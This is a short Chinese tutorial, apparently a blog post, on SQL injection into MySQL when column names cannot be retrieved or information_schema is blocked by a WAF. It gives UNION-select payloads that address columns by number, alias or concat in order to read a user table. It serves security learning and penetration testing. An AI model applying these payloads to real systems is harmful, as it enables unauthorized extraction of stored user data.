MySQL不知道列名情况下的注入

 

目录

 

          0×01 前提

          0×02 解决

2.1 正常的查询：

2.2 UNION查询:

2.3 数字对应列查询：

2.4 别名代替查询：

2.5 多列合并查询：

web安全学习了解： web渗透测试            
官网： 宣紫科技        

0×01 前提

以下情况适用于 Mysql < 5版本，或者在 Mysql >= 5 的版本[存在information_schema库]，且已获取到库名和表名

① 当只能获取到表名，获取不到列名或者只能获取到无有效内容的列名情况【例如 id】

② 当希望通过information_schema库中的表去获取其他表的结构，即表名、列名等，但是这个库被WAF过滤掉的情况

其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些，因为对我来说，一般遇到waf就放弃了（菜的真实23333）

0×02 解决

2.1 正常的查询：

以下是正常查询 test 库中的 user 表内容

select * from user;

2.2 UNION查询:

select 1,2,3,4 union select * from user;

2.3 数字对应列查询：

可以使用数字来对应列来进行查询，如 2 对应了表里面的 name 列

select `2` from (select 1,2,3,4 union select * from user)a;

2.4 别名代替查询：

当反引号 ` 不能使用的时候，可以使用别名来代替，如设置 2 的别名为 b

select b from (select 1,2 as b,3,4 union select * from user)a;

2.5 多列合并查询：

同上：这里反引号不能用的话，一样可以使用别名代替

select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;